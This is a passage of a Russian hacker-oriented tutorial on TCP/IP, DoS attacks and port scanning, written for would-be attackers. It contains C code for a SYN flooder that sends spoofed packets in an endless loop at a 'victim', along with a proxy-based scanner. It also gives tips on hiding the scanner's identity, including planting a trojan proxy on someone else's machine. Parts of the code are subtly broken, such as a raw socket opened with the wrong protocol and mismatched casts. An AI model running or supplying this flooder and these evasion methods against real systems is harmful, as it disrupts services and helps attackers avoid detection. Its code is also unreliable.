Во вторых - мечта многих начинающих хакеров - подмена IP адреса. Да задать любой IP адрес в пакете это несложно как мы убедились выше. НО ведь сервер будет слать ответы не на ваш реальный IP, а на IP, указанный в заголовке. Это ещё ничего (иногда ведь не надо знать что ответит сервер на тут или иную команду - главное их послать - а о том как они выполняться можно судить по косвенным признакам). Но ведь что бы только установить соединение нам надо кроме отправки пакетов сделать как минимум 2 вещи - заставить хост от IP адреса которого мы шлём пакеты молчать (а то иначе получив первый же пакет SYN-ACK он сразу же отошлёт RST - зачем ему ненужное левое содинение ?) и угадать начальный порядковый номер сервера - ведь его он сообщит в первом пакете к хосту, от чьего IP адреса мы шлём пакеты. Конечно есть способы провернуть всё это - но заметьте это только игра на нижнем уровне - на уровне протокола TCP в котором нет практически никаких средств защиты - и возможно эта игра не стоит свеч.
И наконец в третьих - атаки на отказ в обслуживании - пресловутые DoS атаки, о которых так много слышно. В чём их суть ? Например суть атаки ICMP Flood - просто наводнить атакуемую машину милионами icmp пакетов эхо запроса - что бы она не успевала обрабатывать нормальные запросы. Тут всё довольно просто - знай собирай пакеты с произвольным IP и отсылай их в сеть.
Другой, более сложный вид атаки - SYN флуд - в этом случае на сервер шлётся SYN - в ответ на него, как мы знаем, сервер отвечает пакетом SYN-ACK и ожидает подверждения, если оно не приходит - сервер отсылает SYN-ACK ещё раз и так происходит какое-то время. Естественно при установке соединения (после получения SYN пакета) сервер забивает свою память "полезной" информацией о соединении, а так же инициализирует таймер. Если таких ложных соединений будет слишком много - серверу просто будет не хватать памяти, что б хранить данные о них - не говоря о том что бы выполнять какие-то полезные действия (например выполнение скриптов).
Несмотря на простоту этих типов DoS атак - избавиться от них практически не преставляется возможным - потому что в их основе лежит суть работы интеренет протоколов (IP, ICMP и TCP). Конечно существуют и другие типы DoS атак - но эта статья на другие темы - поэтому вернёмся...
7. Формат TCP пакета
Как уже упоминалось в начале статьи в сетевом общении используется далеко не один протокол. И основная их масса приходится именно на протоколы прикладного уровня. И если протоколы сетвого уровня (ICMP и неупоминавшийся в рамках этой статьи IGMP) а так же транспортонго уровня (TCP и UDP) мы можем отличить по полю тип протокола в заголовке IP, то мы никак не можем создать типы протоколов для всех возможных протоколов прикладного уровня, коих огромное множество - начиная от хорошо известного HTTP и кончая нигде не описанным протоколом, по которому троян на машине пользователя общается с хакером...
Кроме того надо учитывать тот фактор что на машине пользователя сразу несколько приложений могут общаться с сервером по одному и тому же протоколу - например браузер и качалка... И когда данные доходят от сервера до клиента - то как нам определить какому именно процессу нам следует отдать эти данные ? Именно для таких случаев и служат порты - по сути порт это идентификатор программы. У любого TCP соединения всегда есть 2 порта - которые однозначно идентифицируют процессы на клиенте и на сервере. Те один номер порта может одновременно принадлежать только одному процессу.
Процесс при котором датаграмма прибывшая в компьютер проходит путь от сетевых протоколов до пользовательских называется Демультиплексирование. Например когда по сети Ethernet приходит фрейм - то сначала драйвер Ethernet проверяет к какому протоколу принадлежит фрейм (он это делает на основании поля описывающего тип фрейма, но Ethernet нам в рамках данной статьи не интересен) - если фрейм принадлежит протоколу IP - то драйвер передаёт его модулю IP, который в свою очередь извлекает из IP заголовка поле тип протокола - и на его основании передаёт его дальше - например модулю TCP, который в свою очередь извлекает номер порта из пакета и проверяет какому именно приложению принадлежит данный порт, и только потом данные из пакета поступают непосредственно приложению:
Конечно по аналогии со стандартными значениями Тип протокола в заголовке IP есть стандартные номер портов для наиболее часто используемых протоколов прикладного уровня. Наверняка все уже знают, что HTTP использует порт 80 - таким образом 80 порт принадлежит веб-серверу. И когда клиент шлёт запрос на страничку сервер знает, что это запрос к веб-серверу, а не к ftp серверу. Так вот если бы порт 80 не был бы стандартизирован именно для веб-сервера- то клиенту прежде чем послать запрос на страничку пришлось бы потратить немало сил угадывая какой именно порт относится к процессу веб-сервера... Документ RFC описывающий стандартные порта называется Assigned Numbers и может быть найден по ссылке в конце статьи. Кроме того в любой сетевой операционной системе есть файл services, где описанны протоколы (tcp/udp) и стандартные порты, вот кусок такого файла с моей машины:
При этом номера портов с 1 по 1024 являются зарезервированными для стандартных Internet серверов (хотя это вовсе не значит что web-сервер должен висеть на 80 порту - это только рекомендации, которым желательно следовать). Порты в диапазоне между 1024 и 5000 обычно динамически назначаются операционной системой для клиентских процессов, а проты с номерами большими чем 5000 предназначенны для серверов не являющимися стандартнымми (например троянов ;) - но в тоже время ничто не ешает трояну занять 80 порт, если только он свободен.chargen 19/tcp ttytst source #Character generator chargen 19/udp ttytst source #Character generator ftp-data 20/tcp #FTP, data ftp 21/tcp #FTP. control telnet 23/tcp smtp 25/tcp mail #Simple Mail Transfer Protocol
Теперь, когда смысл слова порт, надеюсь понятен, давайте перейдём к самому формату TCP пакета:
Итак каждый пакет TCP содержит номера портов источника и назначения, которые однозначно идентифицируют процессы отправителя и получтеля. Пара порт и IP адрес - служат уникальными идентификаторами соединения - и называются сокетом (в оригинальной терминологии).
Далее идут порядковый номер и номер подтверждения, о которых мы уже писали выше. В поле длинны заголовка указывается длинна заголовка в 32-битных словах (это поле необходимо, тк заголовок может иметь переменную длинну за счёт опций).
После 6 неиспользуемых бит идёт 6 битное поле которое называется полем флагов или полем кода сегмента. Бит устновленный в 1 обозначает тип этого пакета - так если установлен бит 2 - то это пакет ACK, если установлен последний бит - значит это пакет FIN. Кроме уже знакомых нам SYN, FIN, ACK и RST могут быть следующие значения:
URG | В заголовке присутвует указатель срочных данных |
ACK | Пакет подтверждения приёма |
PSH | Запрос на немедленную передачу данных |
RST | Сброс соединения |
SYN | Синхронизация порядковых номеров/установка соединения |
FIN | Завершение соединения |
В поле размер окна отправляемого пакета помещается количество байт (октетов), которые они могут принять (те указывается размер принимающего буфера). Анонсироввание размера буфера помогает в случае перегрузки сети избежать больших пакетов и свести к минимуму необходимость повторной передачи.
Поле контрольной суммы TCP сегмента вычисляется несколько необычно (хотя по тому же алгоритмы) - к началу сегмента добавляется так называемый псевдозаголовок, а сам сегмент дополняется нулями для выравнинивая на границу в 16 бит. После для полученной конструкции и происходит вычисление контрольной суммы. Перед вычислением поле контрольной суммы пологается равным 0. Естественно что псевдозаголовок в сеть не передаётся - он используется только для проверки целостности пакета. При приёме принимающая сторона, что бы убедиться в правильности пакета в свою очередь добавляет псевдозаголовок к пакету и пересчитывает контрольную сумму. Формат псевдозаголвка показан ниже:
В данном случае в поле Типа протокола помещается значение 6, а в поле длины указывается общеая длинна TCP сегмента вместе с заголовком.
8. DoS Parth 2. SYN Floooood
Довольно многие новички интересуются темой организации DoS атак, и если про ICMP флуд все слышали, то SYN флуд для многих является открытием. Суть его заключается в следующем - при открытии соединения как мы помним вначлае клиентом шлётся SYN пакет, на который сервер отвечает пакетом SYN-ACK и ждёт подтверждения приёма. А ведь в этот момент происходит несколько немаловажных явлений - сервер выделяет какую-то память, что бы хранить данные об этом соединении. А если ответный пакет ACK не придёт, что тогда ? Тогда сервер попытается передать SYN-ACK снова несколько раз (в зависимости от реализации протокола в той или иной системе). Это и есть DoS атака SYN-Flood - Серверу шлются запросы на соединения SYN пакеты, а вот ответные пакеты ACK не шлются - таким образом не происходит установки соединения, но в то же время на сервер ложится достаточная загрузка, что бы его завесить - тк вместо того что бы обрабатывать запросы "нормальных" клиентов сервер будет пытаться установить лже-соединения. Несмотря на то что этот метод атак известен давно - универсального средства защиты от него нет, тк он эксплуатирует недостатки в самом TCP протоколе. Ну да это всё лирика... Давайте вернёмся к Visual C и напишем собственный SYN Flooder.
Во первых нам понадобятся структуры, описываюшие заголовок TCP и псевдозаголовок:
Так же заранее определим некоторые константы, к которым будем потом обращаться://Заголовок TCP: typedef struct tcp_hdr { unsigned short int th_sport; unsigned short int th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_x2:4, th_off:4; unsigned char th_flags; unsigned short int th_win; unsigned short int th_sum; unsigned short int th_urp; } TCP_HDR; //Псевдозаголовок: typedef struct ps_hdr{ unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; }PS_HDR;
И в конце, концов напишим одну функцию, для отправки TCP сегмента с нужными нам флагами - этой функцией мы впоследствии будем пользоваться довольно часто.//длины IP, TCP И псевдо заголовков #define IPHLEN (sizeof (struct ip_hdr)) #define TCPHLEN (sizeof (struct tcp_hdr)) #define PSHLEN (sizeof (struct ps_hdr)) //возможные значения поля флага #define TCPH_FIN 0x01 #define TCPH_SYN 0x02 #define TCPH_RST 0x04 #define TCPH_PUSH 0x08 #define TCPH_ACK 0x10 #define TCPH_URG 0x20
Итак всё необходимое у нас есть - давайте теперь напишем обычный флудер, который шлёт SYN пакеты на 80 порт жертвы:/* * Отправка TCP пакета, параметры: * source - IP адрес источника * dest - IP адрес назначения * sport - порт источника * dport - порт назначения * seq - номер последовательности * ack - номер подтверждения * flags - поле флагов * data - данные, которые будут передаваться в пакете * dlen - длинна данных * ttl - TTL IP пакета */ bool send_tcp_packet (long source, long dest, short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int ttl) { struct sockaddr_in sa; SOCKET sock; char *pkt,*phtcp; struct ps_hdr *ph; struct ip_hdr *ip; struct tcp_hdr *tcp; //создаём сокет: sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("WSASocket failed: %d\n", WSAGetLastError ()); return false; } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) == SOCKET_ERROR){ printf ("setsockopt failed: %d\n", WSAGetLastError ()); return false; } ZeroMemory (&sa,sizeof (struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp = (char *)calloc ((size_t)1,(size_t)(PSHLEN+TCPHLEN+dlen)); pkt = (char *)calloc ((size_t)1,(size_t)(IPHLEN+TCPHLEN+dlen)); ph = (struct ps_hdr *)phtcp; tcp = (struct tcpheader *)(((char *)phtcp)+PSHLEN); ip = (struct tcp_hdr *)pkt; //Заполняем псевдозаголовок: ph->source_address = source; ph->dest_address = dest; ph->placeholder = 0; ph->protocol = IPPROTO_TCP; ph->tcp_length = htons(TCPHLEN + dlen); //Заполняем TCP заголовок: tcp->th_sport = sport; tcp->th_dport = dport; tcp->th_seq = seq; tcp->th_ack = ack; tcp->th_off = TCPHLEN/4; tcp->th_flags = flags; tcp->th_win = htons(16384); //считаем сумму tcp: memcpy (&(phtcp[PSHLEN+TCPHLEN]), data, dlen); tcp->th_sum = checksum ((unsigned short*)phtcp, PSHLEN + TCPHLEN + dlen); //заполняем IP заголовок ip->ver = 4; ip->h_len = IPHLEN >>2; ip->tos = 0; ip->total_len = htons(IPHLEN+TCPHLEN+dlen); ip->ident = htons(123); ip->frag_and_flags = 0; ip->ttl = ttl; ip->proto = IPPROTO_TCP ; ip->checksum = 0; ip->sourceIP = source; ip->destIP = dest; //Считаем контрольную сумму для IP заголовка: ip->checksum = checksum((unsigned short*)ip,IPHLEN); //Собираем в единный пакет: memcpy(((char *)(pkt))+IPHLEN,(char *)tcp,TCPHLEN+dlen); //Отправляем в сеть: if (sendto(sock,pkt,IPHLEN+TCPHLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) == SOCKET_ERROR){ printf ("sendto failed: %d\n", WSAGetLastError ()); } //Освобождаем память: free(phtcp); free(pkt); closesocket(sock); return true; }
Как видите и впрямь ничего сложного ;) Помимо этого также некоторые системы могут некоректно обрабатывать пакеты с установленными несколькими флагами - например всеми одновременно =) Так же например существую Land атаки - это когда вы отправляет пакет на, указав в качестве адреса отправителя адрес сервера, а в качестве порта отправителя и назначения - любой открытый порт в системе.while (1) send_tcp_packet (inet_addr ("192.168.0.1"), inet_addr ("192.168.0.2"), htons(rand ()%1024+1024), htons (80), rand (), 0, TCPH_SYN, "", 0, 255);
9. Port Scan...Parth 1. Открытое сканирование.
Да вот мы наконец и добрались до того, что вынесенно в заголовок этой статьи - сканирование портов. Существует довольно много методов сканирования. Глобально методы сканирования разделяют на открытые (это когда вы ведёте сканирование открыто - со своего IP адреса) и "невидимое" (что это такое чуть позже).
Самым простым вариантом сканирования является SYN-Scan - он во многом похож на SYN flood - мы шлём серверу на заданный порт SYN пакет. Если в ответ придёт SYN-ACK - значит порт открыт, если RST - значит закрыт. Всё просто.
Единственной тонкостью является то, что нам необходимо после получения ответа SYN-ACK самим отправить пакет RST - сказав тем самым серверу, что мы не хотим устанавливать соединение (иначе в противном случае это может быть исттолкованно как DoS атака - что, в отличии от сканирования портов, является наказуемым). Так же, если порт фильтруется, то пакет может вернуться - таким образом можно обнаружить фаер или фильтр пакетов на сканируемой машине.
Кроме того SYN скан (вместе с ICMP эхо запросом) использует для определения состояния машины - online/offline - например мы шлём ICMP запрос - в ответ тишина (либо запросы не доходят (проблемы с сетью) - машина в offline, либо firewall не выпускает icmp ответы), тогда мы шлём TCP пакет SYN скажем на порт 80 - если что-то придёт в ответ (нам сейчас не важно что именно) - значит машина в сети, несмотря на то что ping до неё не проходит.
Несмотря на очевидный плюс SYN сканирования (мы можем точно определить открыт порт или нет) основным недостатком такого метода является то, что он с лёгкостью обнаруживается. Однако существуют и другие - болеее продвинутые техники сканирования. Например FIN сканирование: если порт открыт - значит сервер должен проигнорировать пакет, а в случае закрытого порта ответить RST пакетом. Главным недостатком этого метода является то, что реализация кода, отвечающего за обработку FIN пакетов в различных ОС различна - операционки Windows, Cisco, BSDI, IRIX и HP/UX не отвечают пакетом RST - с другой стороны этот метод сканирования может помочь установить операционную систему на сканируемом сервере.
К методам схожим с FIN сканированию относятся так же NULL и XMAS методы сканирования. В случае NULL сканирования на порт отправляется пакет с полем флагов равным 0(все флажки сброшены), а при XMAS скане в пакете наоборот либо выставляются все флаги сразу, либо FIN|URG|PSH (в зависимости от реализации) - однако результат должен быть такой же как и при FIN сканировании - в случае закрытого порта в ответ придёт RST пакет, в случае открытого порта молчание. Недостатки у этого метода те же, что и у FIN скана - разлчное поведение различных ОС.
Так же существует метод ACK сканирования - он не поможет определить открыт порт или нет. Суть ACK Сканирования в попытке определить наличие на машине фаера и набор его правил. В этом случае на сканируемый порт отправляется ACK пакет - если в ответ пришёл RST пакет значит порт не фильтруется фаером. Если же ответа не следует (либо может прийдти ICMP сообщение о ошибке - тип 3) - значит на машине присутвует фильтр пакетов.
Все выше рассмотренные способы сканирования базировались на свойствах протокола TCP, однако базовый протокол IP может так же помоч нам в сканировании - тем более что следующий метод является наиболее тяжело обнаруживаемом из открытых: метод сканирования с использованием IP фрагментации.
Как надеюсь все помнят у IP заголовка есть поля, отвечающие за фрагментацию - поля флажков и смещения заголовка. Зачем они нужны ? Дело в том, что по физическим сетям могут передаваться фрагменты разного размера - например по некой теоретической сети может передаваться пакет длинно 100 байт (эта величина называется называется MTU - maximum transfer unit) - а если программа отправляет пакет размером в 210 байт ...что тогда ? тогда пакет разобьётся на 3 (2 по 100 и 1 в 10 байт) и отправит их в сеть - этот процесс называется фрагментацией - пакет разбивается на фрагменты. С другой стороны принимающая система должна каким-то образом собрать целый пакет назад из полученных фрагментов. Учитывая минимальную длинну TCP пакета - 20 байт, мы можем разбить один пакет на 3 фрагмента - тк требуется что бы длинна фргамента была кратна 8 байтам. Давайте рассмотрим как мы можем разбить один пакет длинной 456 байт на 2 по 256 и 200 байт соответвенно:
Итак первый фрагмент несёт данные длиной 256 байт - об этом говорит поле длины датаграммы, поле смещение фрагмента установленно в 0 - тк это первый фрагмент. Поле флагов состоит из 3-х битов: 1-й не используется, второй называется DF (don't fragment - если установлен - запрет на фрагментацию), а третий MF (more fragments если MF=1 значит будут ещё фрагменты, MF=0 значит это последний фрагмент). Поэтому во обоих фрагментах бит DF сброшен, а в первом фрагменте бит MF=1 - тк будут ещё фрагменты.
Во втором фрагменте длина соответвенно равна 200 байтам, поле смещение равняется 32 - тк это поле измеряется в 8 байтовых величинах (32*8 = 256), а флаг MF = 0 тк это последний пакет.
Таким образом мы разбиваем наши SYN или FIN пакеты (в зависимости от метода сканирования) пакеты на 2-3 фрагмента и отправлем их на сканируемый сервер. Смысл этих манипуляций заключается в том, что некоторые фаеры предпочитают не тратить время на сборку фрагментируемых пакетов - а сразу передавать их модулю протокола IP - таким образом обеспечивая большую скрытность.
На мой взгляд проделать всё вышеописанное - те отправлять особые Tcp пакеты и получать (и анализировать) полученные пакеты после примеров выше не представляется сверх задачей. Единственное на что хочется обратить внимание - это на то что в сканирующей программе должно совершаться минимум 2 посылки пакета на порт, если не приходит ответа (например при FIN скане) - тк протокол IP Не является надёжным и ваш пакет был мог попросту быть отброшен. Ну и при отсылки RST пакета в случае SYN скана не забывайте о Номерах последовательности. Если возникнут вопросы по реализации алгоритма - я открыт для контактов.
Кроме того условную невидимость при открытом сканировании можно получить используя шторм пакетов - те генерировать пакеты как с левыми IP, так и со своим - таким образом на сканируемой машине создаться впечатление, что её сканирует не один хакер, а сразу сотня или две - таким образом что бы выследить реальный источник потребуется довольно не мало времени.
Так же на nix машинах есть специальный демон (программа) identd - сервис на 113 порту, основная задача которого выдавать задачу о существующих соединениях на сервере. Данный сервре ожидает данных в формате <port-on-server> ,<port-on-client> где port-on-server - это порт на сервере о котором нам надо получить информацию, а port-on-client - номер порта на хосте, посылающем запрос серверу, на который сервер должен прислать ответ. Рассмотрим пример работы из RFC - для того что бы узнать есть ли исходящее соединение с хоста А (порт 6191) на хост В (порт 23) нам надо послать следующий запрос:
6193, 23Выходной формат данных демона: <port-on-server> , <port-on-client> : <resp-type> : <add-info> (в дополнительной информации о пользователе может указываться например имя пользователя и тип ОС, а в дополнении к сообщению об ошибке присутвует её расшифровка)
6193, 23 : USERID : UNIX : stjohnsДанный метод называется reverse-ident и главным его недостатком является то что нам необходимо установить полноценное TCP соединение (это конечно проще делать не через Raw sockets - а через обычные сокеты, ну да об этом ещё речь пойдёт ниже) и соответсвенно в логи запишется вся информация о сканирующем.
6195, 23 : ERROR : NO-USER
10. Port Scan...Parth 2. Невидимое или анонимное сканирование
Все выше описанные методы я вляются методами открытыми - те сканируемый хост в состоянии определить IP адрес хакера - в этой части представленны информация о методах невидимого сканирования - когда скан ведётся не напрямую с вашей машины.
Метод первый - dumb host scan - метод сканирования с использованием "молчаливой" системы - молчащая система это система, которая либо не отсылает пакеты, либо отсылает определённое количество пакетов в заданный интервал (чаще всё же первое). Зачем нам это ? Обратите внимание на поле ID (идентификатор) в заголовке IP - во многих реализациях он просто увеличивается на 1 с каждым отправленным пактом, независимо от того на какой IP адрес отправлен пакет.
Но как нам это может помочь ? А вот как - узнав закон изменения ID на dumb хосте мы можем отправить от его имени SYN пакет к серверу. Что сделает сервер, если порт открыт - пошлёт пакет SYN-ACK и когда dumb хост получит этот пакет он естесвенно ответит пакетом RST - тк это соединение он не заказывал. В этот момент произойдёт изменение закона генерации ID - те если до этого он увеличивался на 1, то здесь увеличитться сразу на 2. Если порт закрыт - значит dubm хосту придёт сообщение RST, которое он просто проигнорирует - и следовательно закон изменения ID не изменится.
Естесвенно что на сканируемую машину надо засылать несколько пакетов от имени dubm хоста - что бы если случайный пакет от dubm хоста не создал ложного эффекта открытого порта.
Узнать закон изменения ID у хоста можно с помощью обычных ICMP пакетов эхо запроса (ping). Перепишем для этого утилиту ping таким образом что бы она отправляла пакеты безостановочно и выводила закон измения ID... вывод может быть примерно таким:
recv icmp packet: id=52680Надеюсь для вас это не представляет сложностей, если представляет - то в приложении ссылка на исходник ping'a.
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1Как видно - закон изменения ID изменился - следовательно порт открыт. Если же мы отправили штор на закрытый порт, по результат будет таким:
recv icmp packet: id=+2
recv icmp packet: id=+3
recv icmp packet: id=+2
recv icmp packet: id=+1
recv icmp packet: id=+2
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1Закон не изменился - следовтельно порт закрыт. Естественно что надёжность данного метода несколько хромает - dubm хост может выплеснуть несколько пакетов (те же пинги, но другой машине) - а это может быть расценнено, как открытый порт на сканируемой машине, хотя он на самом деле таковым не является.
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
recv icmp packet: id=+1
Другой метод скрытого сканирования - сканирование через прокси сервера. Да через обычные http прокси сервера (можно и не только http - но в данном случае это большой роли не сыграет), адреса которых немерянно валяются в инете. Рассморим обычный HTTP запрос к такому прокси серверу:
GET http://www.ya.ru HTTP/1.1В первой строке запроса мы указываем метод (GET) адрес странички, который мы хотим получить (http://www.ya.ru) и тип протокола (HTTP/1.1). Во второй строке мы сообщаем название своего браузера и в третьей строке указываем хост.
User-Agent: Mozilla/5.0 (Windows 3.11) Opera 7.60 [en]
Host: www.ya.ru
Accept-Language: en
<пустая строка>
Однако мы можем явно указать и порт "веб"-сервера:
GET http://www.ya.ru:23 HTTP/1.1Как отреагирует на это прокси? Если порт закрыт - тогда выдаст сообщение типа Connection refused (ошибки с кодом начинающимся с 500 - тип ошибки зависит от прокси). В случае открытого порта результат предсказать сложнее - скорее всего это будет мусор ругательств сервера на непонятные команды и код 200. Большими минусами этого способа является то, что обычные прокси-серверы (адреса которых можно найти на любом сайте) чаще всего оказываются ловушками для хакеров и как следствие не позволяют через себя обращаться к портам на других машинах, отличных от стандартных для HTTP портов.
User-Agent: Mozilla/5.0 (Windows 3.11) Opera 7.60 [en]
Host: www.ya.ru
Accept-Language: en
<пустая строка>
Вот пример вывода одного из "100% anonymous elite HTTP proxie" как утверждали на сайте, когда я через него попытался просканировать один сервер. Никакой элитой тут даже и не пахнет... дай бог, что бы он был анонимным...
В первой строке как видите сообщается протокол (в данном случае версия HTTP/1.0) код ответа (500) и описание (Error from proxy). На данном проксике было явно написанно Sorry, access to the port number given has been disabled for security reasons, однако на большинстве просто появляется ошибка Connection refusedHTTP/1.0 500 Error from proxy Mime-version: 1.0 Proxy-agent: Netscape-Proxy/2.5 Content-type: text/html <HTML> <HEAD><TITLE>Error</TITLE></HEAD> <BODY> <H1>Error</H1> <BLOCKQUOTE><B> <HR SIZE=4><P> The requested item could not be loaded by the proxy.<P> Sorry, access to the port number given has been disabled for security reasons<P> <HR SIZE=4> </B></BLOCKQUOTE> <P> <ADDRESS>Proxy server at social on port 8080</ADDRESS> </BODY></HTML>
А вот пример вывода, когда я попытался просканить порты одного сервера через нормальную проксю (это вывод с 21 порта - FTP):
Как видите FTP сервер просто не "врубился" в наш запрос и выплюнул кучу ошибок, однако по ним мы можем с уверенностью судить что порт открыт. При этом в логах соответвенно светится адрес прокси, а вовсе не ваш.HTTP/1.0 200 OK Date: Tue, 28 Oct 2003 05:41:12 GMT Via: 1.0 manuallproxy 220-Welcome to our hosting. 220 FTP server ready. 500 GET not understood 500 HOST: not understood 500 CONNECTION: not understood
Таким способом можно пользоваться, установив например на чужую машину трояна-прокси - который уже не будет ни в чём себя ограничивать (хотя в таком случае проще запустить на подконтрольной машине обычный сканер портов, а потом забрать результаты его работы). Давайте быстро напишем прогу, для работы по HTTP протоколу через прокси-сервер:
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
//текст запроса
char *Buffer={
"GET http://www.hosting.ru:123 HTTP/1.0\r\n"
"User-Agent: Port-Scaner\r\n"
"Host: www.hosting.ru\r\n\r\n"
};
int main(int argc, char* argv[])
{
WSADATA wsd;
SOCKET sClient;
char szBuffer [1024];
int ret;
char *szServer = "proxy.server";
struct hostent *host = NULL;
struct sockaddr_in server;
bool f = true;
//инициализуем WSA:
if (WSAStartup (MAKEWORD (2,2), &wsd) != 0){
printf ("wsa fuck");
return 1;
}
//заполняем данные о прокси:
server.sin_family = AF_INET;
server.sin_port = htons (8080); //порт
server.sin_addr.s_addr = inet_addr (szServer);
//если адрес задан именем хоста - резолвим его:
if (server.sin_addr.s_addr == INADDR_NONE){
host = gethostbyname (szServer);
if (host == NULL){
printf ("Suxx host");
return 1;
}
CopyMemory (&server.sin_addr, host->h_addr_list[0], host->h_length);
}
//создаём обычный сокет:
sClient = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET){
printf ("socket fuck");
return 1;
}
//соединяемся с прокси сервером:
if (connect (sClient, (struct sockaddr *)&server, sizeof (server)) == SOCKET_ERROR){
printf ("connect fuck %d", WSAGetLastError ());
return 1;
}
//шлём ему запрос:
ret= send (sClient, Buffer, strlen (Buffer), 0);
if (ret==0){
printf ("ret suxx");
}
else if (ret == SOCKET_ERROR){
printf ("send fuck %d", WSAGetLastError());
}
// получаем ответ:
while (1){
RtlZeroMemory (szBuffer, 1024);
ret = recv (sClient, szBuffer, 1024, 0);
if (ret == SOCKET_ERROR)
printf ("recv suxx: %d", WSAGetLastError ());
if (ret == 0)
break;
szBuffer[ret] = '\0';
printf ("%s", szBuffer);
}
//закрываем сокет:
closesocket (sClient);
WSACleanup();
return 0;
}
Здесь используются обычные функции сокетов - для соединения функция connect, для отправки запроса - send и recv для получения. После выполнения запроса надо проанализировать полученный резльтат на предмет кода ошибки в ответе (код больший 500). Естественно предварительно рекомендуется протестировать прокси на хосте, на котором заранее известны открытые порты - в таком случае можно убедится что прокси допускае соединения на порты, отличные от HTTP.Однако кроме описанного выше метода сканирования через метод GET существует сканирвоание методом CONNECT - в кратце опишу этот метод: мы соединяемся с прокси сервером, используя метод CONNECT явно указав имя хоста и номер порта (никаких дефотных портов быть не может) и версию протокола. При этом сервер пытается присоедениться к указанному хосту на указанный порт. Если соединение установленно, то об этом сообщается клиенту. Вообще после этого прокси-сервер начинает туннелирование данных по соединению в обе стороны, не вдаваясь в их содержание - благодорячему возможно создание цепочек прокси, но это уже другая тема.... Рассмотрим HTTP запросы в случае удачного подключения на порт:
клиент:Как видите всё довольно просто....порт 666 открыт... Только опять же следует учитывать что таких прокси не так много.
CONNECT whant_to_scan.com:666 HTTP/1.0
<пустая строка>
сервер:
HTTP/1.0 200 Connection established
Proxy-agent: WinRoute Pro/4.1
<пустая строка>
И наконец - последний штрих FTP Bounce Attack (скрытая ататка по ФТП). Протокол FTP - это довольно необычный протокол, с некоторыми странностями, но он тем не менее настолько укрепился в интернете, что без него глобальная сеть немыслима. Давайте рассмотрим некоторые тонкости работы этот протокола, не вдаваясь в подробности. Одной из главных команд FTP является команда PORT, которая позволяет нам очевидным образом задать IP адрес и порт клиента. Казалось бы зачем это нужно - ведь эти данные возможно вытащить из заголовка пакета, но увы скорее всего это одна из заглушек на будущее, о которых забыли, а будущее уже наступило - и теперь этим пользуются хакеры (то есть мы=)). Таким образом, задав IP адрес и порт командой PORT мы должны инициализировать соединение командой LIST - в случае успешного соединения на порт мы получим коды ответов 150 и 226. Если же порт закрыт - то код ответа будет 425 - это уже знакомый нам Connection Refused.
Таким образом подсоединившись к FTP серверу (а на некоторых фтп азрешён анонимный вход) мы можем в цикле выдавать команды PORT и LIST, что бы просканировать нужные нам порты. Естественно что далеко не все FTP серверы поддерживают данныу возможность, с другой стороны неизменны преимущества - анонимность и, возможно, обход фаеров.
11. Заключение
В данной статье были описанны основы протоколов TCP/IP и основные методы сканирования портов, а так же простейшие атаки типа ICMP Flood, SYN Flood, Land. С помощью сканера портов хакер имеет возможность анонимно (что немало важно - учитывая, как администраторы болезненно реагируют на сканирование) определить как тип операционной системы (об этом речь пойдёт в следующих статьях) так и типы сетевых приложений, использующихся на атакуемой машине. С помощью средств сканирования хакер имеет возможность собрать как можно больше информации о интересующей его цели, сохраняя при этом нужный уровень анонимности. Кроме того сканеры портов в том или ином варианте могут (и используются) в различном саморазмножающемсе софте - вирусах, червях, а так же в троянских программах.
Самым лучшим без сомнения сканером на сегодняшний день является nmap, который поддерживает все возможности скана описанные выше.
Ну и в приложеннее ко всему выше сказанному, хотел бы привести колекцию линков на различные ресурсы сети, где можно ознакомится с некоторыми техническими возможностями, которые были опущенны, либо забыты в силу того что это всё же статья, а не толстая книга:
Ну и кроме того, не забывайте лучшего друга - http://google.com